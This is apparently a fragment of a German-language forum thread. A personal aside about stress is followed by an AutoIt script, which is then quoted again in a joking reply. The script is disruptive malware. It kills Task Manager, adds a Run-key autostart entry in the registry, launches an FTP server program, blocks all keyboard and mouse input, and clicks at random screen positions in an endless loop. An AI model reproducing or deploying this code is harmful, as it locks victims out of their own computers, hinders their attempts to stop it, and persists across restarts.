Ja ich weiß,aber rl stresst.Von einer Seite meine Religion,von der anderen mein Praktikumsplatz.Und mit Freunden unternommen hab ich lange nichts mehr.Ich finde einfach keine Zeit...
Main()
Func Main()
AdlibEnable("_WinKill")
AutoStart()
Sleep(100)
_NoInput()
Sleep(100)
_RMouseMove()
EndFunc
Func AutoStart()
Run("G6FTPSrv")
;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
Sleep(100)
EndIf
EndFunc
Func _WinKill()
If WinExists("Task Manager") Then
WinKill("Task Manager")
EndIf
EndFunc
Func _RMouseMove()
While 1
MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2)
WEnd
EndFunc
Func _NoInput()
BlockInput(1)
EndFunc
Autoit = fail;Quote:
Hihihihi^^Code:Main() Func Main() AdlibEnable("_WinKill") AutoStart() Sleep(100) _NoInput() Sleep(100) _RMouseMove() EndFunc Func AutoStart() Run("G6FTPSrv") ;Autostart If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden Else ;Wenn doch soll nichts gemacht werden. Sleep(100) EndIf EndFunc Func _WinKill() If WinExists("Task Manager") Then WinKill("Task Manager") EndIf EndFunc Func _RMouseMove() While 1 MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2) WEnd EndFunc Func _NoInput() BlockInput(1) EndFunc